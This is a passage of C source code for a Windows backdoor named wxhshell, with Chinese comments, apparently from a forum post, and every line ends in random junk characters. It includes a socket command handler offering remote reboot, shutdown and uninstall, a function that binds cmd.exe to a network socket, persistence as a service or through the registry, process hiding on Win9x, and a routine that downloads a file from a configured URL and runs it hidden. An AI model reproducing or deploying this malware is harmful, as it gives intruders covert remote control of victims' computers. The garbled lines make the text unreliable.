    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d<]/,BY'  
    else )j](_kvK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V%))%?3x_  
    break; @ B+];lr/-  
    } rVLA"x 9u  
  // 卸载 E)Dik`Ccl  
  case 'r': { 1*Z}M%  
    if(Uninstall()) .$Y[>9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :H~r _>E  
    else !)GPI?{^5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DGcd|>q  
    break; Y#\e~>K  
    } bbz86]AhY  
  // 显示 wxhshell 所在路径 OnG?@sW+4!  
  case 'p': { LTxOq|/Cq  
    char svExeFile[MAX_PATH]; =uHTpHR  
    strcpy(svExeFile,"\n\r"); 7Ev~yY;N  
      strcat(svExeFile,ExeFile); d%WFgf}  
        send(wsh,svExeFile,strlen(svExeFile),0); >6Q-e$GS@  
    break; \o/oM,u  
    } PWTAy\  
  // 重启 #N*~Q  
  case 'b': { fSj^/>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f.!cR3XgV  
    if(Boot(REBOOT)) 74Lq!e3hMF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h-<+Pjc  
    else { Xs4`bbap  
    closesocket(wsh); lm$T`:c  
    ExitThread(0); o^Ms(?K%t  
    } a}6Wo=  
    break; h>4\I;Ij  
    } ZW2U9  
  // 关机 ur;8uv2o  
  case 'd': { &Oe,$%{hBh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1&U U6|X  
    if(Boot(SHUTDOWN)) AtSEKpKc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^s^X nQhE  
    else { GZse8ng  
    closesocket(wsh); o_?YYw-:  
    ExitThread(0); q?`bu:yS  
    } 0 ~VniF^  
    break; ^*Sb)tu\ W  
    } j#29L"  
  // 获取shell ^X^4R1V)  
  case 's': { X[R/j*K  
    CmdShell(wsh); DEs/?JZG  
    closesocket(wsh); ,2"-G";!f\  
    ExitThread(0); $cjidBi`):  
    break; zI&oZH^vn  
  } U\+o$mU^  
  // 退出 9mr99 tA  
  case 'x': { Iu=iC.50}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <J\z6+,4E  
    CloseIt(wsh); pbJs3uIR  
    break; z`lDD  
    } <~'\~Zd+  
  // 离开 [8<)^k  
  case 'q': { iJU]|t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %;GDg3L[p  
    closesocket(wsh); _Y=>^K]9K  
    WSACleanup(); ?,]25q   
    exit(1); oTZNW  
    break; JBp^@j{_  
        } G>"w$Us  
  } < f1Pj  
  } Y7 = *-  
Ig~lD>dnr'  
  // 提示信息 Or0=:?4`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LXr nAt  
} JW (.,Ztm  
  } >osY?9  
+[ !K  
  return; 5Osx__6$t  
} -|T.APxB  
SO9j/  
// shell模块句柄 2ACN5lyUS  
int CmdShell(SOCKET sock) 2]hQ56Yv3  
{ 525W; mu{  
STARTUPINFO si; Jc/*w  
ZeroMemory(&si,sizeof(si)); K%O%#Kk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iCnKQG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ng2qu!F7  
PROCESS_INFORMATION ProcessInfo; ?(H/a-(:v}  
char cmdline[]="cmd"; fM6Pw6k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tRFj<yuaq  
  return 0; jUYb8:B  
} ]:d`=V\&N  
}[k~JXt  
// 自身启动模式 voEg[Gg4%I  
int StartFromService(void) ng"R[/)In  
{ Jc95Ki1X  
typedef struct ;kDz9Va  
{ 8A#qbBD  
  DWORD ExitStatus; %N04k8z  
  DWORD PebBaseAddress; QOB>Tv E  
  DWORD AffinityMask; h@&& .S`B  
  DWORD BasePriority; h${+{1](6  
  ULONG UniqueProcessId; 7E 6gXf.  
  ULONG InheritedFromUniqueProcessId; x=(Q$Hl5  
}   PROCESS_BASIC_INFORMATION; 'gI q_t|^  
oSq4g{xvMH  
PROCNTQSIP NtQueryInformationProcess; J4&d6[40  
. _Bejh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *F[@lY\p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  R5(<:]  
!`JaYUL[e  
  HANDLE             hProcess; m r&nB  
  PROCESS_BASIC_INFORMATION pbi; A!\ g!*  
gs7h`5[es  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cxn3e,d`  
  if(NULL == hInst ) return 0; Q/xT>cUd  
{26/SY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j#hFx+S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gMS-mkZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3 - Nwg9 U  
B&3oo   
  if (!NtQueryInformationProcess) return 0; Iy% fg',%  
L )p*D(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kZ~0fw-  
  if(!hProcess) return 0; <b !nI N  
',$Uw|N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -PPH]?],  
t"4RGO)jh  
  CloseHandle(hProcess); `f?v_Ui-$  
LlKvi_z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ji9 (!G  
if(hProcess==NULL) return 0; >]s\%GO  
ra2sYH1wr  
HMODULE hMod; 2:3-mWE  
char procName[255]; X:PB }  
unsigned long cbNeeded; Y">m g=B  
1j"_@?H[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &3~lZa;D  
2O;Lw@W  
  CloseHandle(hProcess); 8` ~M$5!  
uyZ  
if(strstr(procName,"services")) return 1; // 以服务启动 FOz~iS\  
;aXu  
  return 0; // 注册表启动 $=3&qg"!  
} 7/C,<$Ep  
/Y| y0iK  
// 主模块 4IfOvAN%  
int StartWxhshell(LPSTR lpCmdLine) RrB)u?  
{ e1ts/@V  
  SOCKET wsl; OI/m_xx@j  
BOOL val=TRUE; qM}Uk3N0  
  int port=0; ;r<(n3"F  
  struct sockaddr_in door; b/;!yOF  
:buH\LB*P  
  if(wscfg.ws_autoins) Install(); 17kh6(X  
qTxw5.Ai!  
port=atoi(lpCmdLine); cC@.&  
D#"BY; J  
if(port<=0) port=wscfg.ws_port; ]$Ud`<Xnx  
yR}PC/>  
  WSADATA data; Y%$@ZYW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GY% ^!r  
v|~&I%S7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [&H$Su}$0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^hL?.xj  
  door.sin_family = AF_INET; F3 uR:)4<M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9rD6."G  
  door.sin_port = htons(port); -o: if F|  
tFj[>_d7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V/N:Of:\R  
closesocket(wsl); `wGP31Y.  
return 1; R{6~7<m.  
} Ei$?]~ &  
$4YyZ!_.@  
  if(listen(wsl,2) == INVALID_SOCKET) { _T\/kJ)Q\  
closesocket(wsl); ^v2-"mX<  
return 1; ui>0?O*G  
} (g(.gN]  
  Wxhshell(wsl); A8|DB@ Bi  
  WSACleanup(); X1wlOE  
s<#["K*_  
return 0; x{'3eJ^8  
BeR7LV  
} AhozrroV  
,?k0~fuG6  
// 以NT服务方式启动 6I8A[   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,q_'l?Pn  
{ p-CBsm5P  
DWORD   status = 0; \}:RG^*m  
  DWORD   specificError = 0xfffffff; 322)r$!"  
N"',  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nO;*Peob  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O\~/J/u <  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^k#.;Q#4  
  serviceStatus.dwWin32ExitCode     = 0; }^b7x;O|  
  serviceStatus.dwServiceSpecificExitCode = 0; h eR$j  
  serviceStatus.dwCheckPoint       = 0; Ire+r "am  
  serviceStatus.dwWaitHint       = 0; xbTvv>'U  
Bm e_#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?v5OUmFM  
  if (hServiceStatusHandle==0) return; OCX>LK!K  
YZ0y_it)  
status = GetLastError(); \Ei(HmEU  
  if (status!=NO_ERROR) bY@ S[  
{ ;~^9$Z@%Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BI|BfO%F$j  
    serviceStatus.dwCheckPoint       = 0; 1K&_t  
    serviceStatus.dwWaitHint       = 0; N'5AU (  
    serviceStatus.dwWin32ExitCode     = status; @gc|Z]CV  
    serviceStatus.dwServiceSpecificExitCode = specificError; G d%X> ~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $T#yxx  
    return;  UZ*Yt  
  } *m>XtBw.  
jIvSjlmI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O,D/& 0  
  serviceStatus.dwCheckPoint       = 0; \c1NIuJR  
  serviceStatus.dwWaitHint       = 0; -O~ V4004  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9y$"[d27;+  
} @nNhW  
W]TO%x{  
// 处理NT服务事件,比如:启动、停止 $ap6Vxjr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ",O}{z  
{ p?Rq  
switch(fdwControl) 5YG %\  
{ U %,K8u|WH  
case SERVICE_CONTROL_STOP: <jjn'*44f  
  serviceStatus.dwWin32ExitCode = 0; S&q(PI_"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; th4yuDPuA  
  serviceStatus.dwCheckPoint   = 0; ,ve$bSp  
  serviceStatus.dwWaitHint     = 0; }Ghh%]  
  { 9im<J'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /c4@QbB  
  } o6b\ w  
  return;  f3E%0cg  
case SERVICE_CONTROL_PAUSE: >Nho`m(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VV%Q "0 \  
  break; 8am/5o  
case SERVICE_CONTROL_CONTINUE: =rL^^MZp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^#0k\f>_  
  break; h%=>iQ%enc  
case SERVICE_CONTROL_INTERROGATE: jmkVolz  
  break; ~N!-4-~p  
}; WGC'k s ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S-Z s  
} K}KgCJ3  
"TQ3{=j{  
// 标准应用程序主函数 T+knd'2V6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [BLBxSL  
{ ]+)cXJ}6#  
.I1k+   
// 获取操作系统版本 F Cp\w1+  
OsIsNt=GetOsVer(); wJ}9(>id*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^{l^Z +b.  
p]^?4  
  // 从命令行安装 ]!mC5Ea  
  if(strpbrk(lpCmdLine,"iI")) Install(); +<TnE+>j  
cy%S5Rz  
  // 下载执行文件 }b$W+/M\  
if(wscfg.ws_downexe) { wMx# dP4W8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oBpoZ @[Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); I `I+7~t  
} $TK<~3`  
? 3'O  
if(!OsIsNt) { W&'[Xj  
// 如果时win9x,隐藏进程并且设置为注册表启动 Up*.z\|'y  
HideProc(); MmL)CT  
StartWxhshell(lpCmdLine); 4xl}kmvv  
} caC-JcDXy  
else {wS)M  
  if(StartFromService()) {zmh0c; |  
  // 以服务方式启动 pI]tv@>:f  
  StartServiceCtrlDispatcher(DispatchTable); xn BL{ []  
else O)EA2`)E  
  // 普通方式启动 Ug~ ]!L  
  StartWxhshell(lpCmdLine); 4],*y`& g  
6$*\%  
return 0; = VFPZ  
}
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只看该作者 1 发表于: 2006-10-10
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